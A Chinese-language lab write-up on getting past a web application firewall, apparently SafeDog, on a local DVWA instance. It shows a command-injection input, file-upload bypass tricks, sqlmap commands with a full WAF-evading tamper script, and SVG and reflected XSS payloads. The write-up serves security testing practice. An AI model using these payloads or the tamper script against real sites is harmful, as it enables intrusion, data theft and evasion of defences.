我们之前已经试过了小皮面板的WAF,应该对WAF有哥基本的印象,我们这里就直接上手

一. 环境搭建

环境我就不写了,看这篇文章就行了

二. 实操演练

1. Brute Force

密码爆破,主要是注意CC防护,请求要做一个延时

成功

2. Command Injection

命令注入,估计是一堆URL过滤

试试

1
192.168.1.214 && netstat -ano

很好,过了

3. File Inclusion

文件包含,试试..\

**

过了

4. File Upload

文件上传,试试

上传一个php木马

文件上传绕过的方式很多,我们之前恶也练过好多

这么多方式,这里是属于啥,这个不是文件包含吧;条件竞争太看运气了,基本用不上;webp和GIF要通过文件包含来解析,可以试试;内容检查,有可能;黑白名单绕过,肯定有,就是不是不知道是黑的还是白的;JS不可能。

(1) PNG木马绕过

具体的原理啥的,自己看文章,这里不讲了,下面同理

上传成功。

测试成功。

GIF同理,我就不搞了

(2) 白名单绕过

白名单绕过有”%00截断绕过”和”MIME类型检测”这里我们全弄上

失败了?

00截断是在二进制层面的截断,正常来说,%00就可以了,但是这里我们看看二进制

额……改一下

ok,现在发送一下试试

成功。

可以访问,但是经实测,连接不上

(3) 黑名单绕过

简单试试

失败

试试::$DATA

还是不行。

试试配合解析,用. .

成功。

剩下的方式就不试了。

(4) 特殊方法

这里有一些特殊的方法

I. 双写filename=

字面意思

很好,失败了。

II. 数据溢出

我们可以选择一个位置添加一堆无用数据来使waf崩溃从而绕过

很好,失败了

III. 分块传输绕过

我们可以使用分块传输从而绕过WAF

失败,唉……

5. SQL Injection

SQL注入

上工具

1
python .\sqlmap.py -u "http://192.168.1.207/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" -o --proxy "http://192.168.31.135:8081" --delay 1 --tamper "my_tamper_2" --random-agent --cookie="PHPSESSID=pfj2oupihrcbbdfmasor5o7tcp; security=low" -dbs

my_tamper_2脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW


def dependencies():
singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))


def tamper(payload, **kwargs):
payload = payload.replace('AND', '/*!11440AND*/')
payload = payload.replace('ORDER', 'order/*!77777cz*/')
payload = payload.replace("SELECT", "/*!11440SELECT*/")
payload = payload.replace("SLEEP(", "sleep/*!77777cz*/(")
payload = payload.replace("UPDATEXML(", "UPDATEXML/*!77777cz*/(")
payload = payload.replace("SESSION_USER()", "/*!11440SESSION_USER()*/")
payload = payload.replace("USER())", "USER/*!77777cz*/())")
payload = payload.replace("DATABASE()", "DATABASE/*!77777cz*/()")
payload = payload.replace("ORDER BY", "/**/order/*/%0a*a*/by/**/")
payload = payload.replace("UNION", "union/*!88888cas*/")
payload = payload.replace("UNION", "union/*!88888cas*/")
payload = payload.replace("from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/")
payload = payload.replace("from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/")
payload = payload.replace("count(*)", "count(1)")
payload = payload.replace("as", "/*!14400as*/")
payload = payload.replace("char", "/*!14400char*/")
return payload

成功。

6. SQL Injection (Blind)

SQL盲注,要稍微的处理一小下

1
python .\sqlmap.py -u "http://192.168.1.207/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" -o --proxy "http://192.168.31.135:8081" --delay 1 --tamper "my_tamper_2" --random-agent --cookie="PHPSESSID=pfj2oupihrcbbdfmasor5o7tcp; security=low" -dbs —string="User ID exists in the database." 

7. XSS (DOM)

又来到了我们头疼的XSS环节

上工具

很好,不出意外的失败

试试SVG吧

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<svg
onload="alert(1)"
xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

ok

8. XSS (Reflected)

工具

得到<a%09onpOiNTereNTER%0d=%0dconfirm()>v3dm0s

试试

成功

9. XSS (Storm)

邪了门了,第一次扫出来存储型XSS

就是扫的有点多……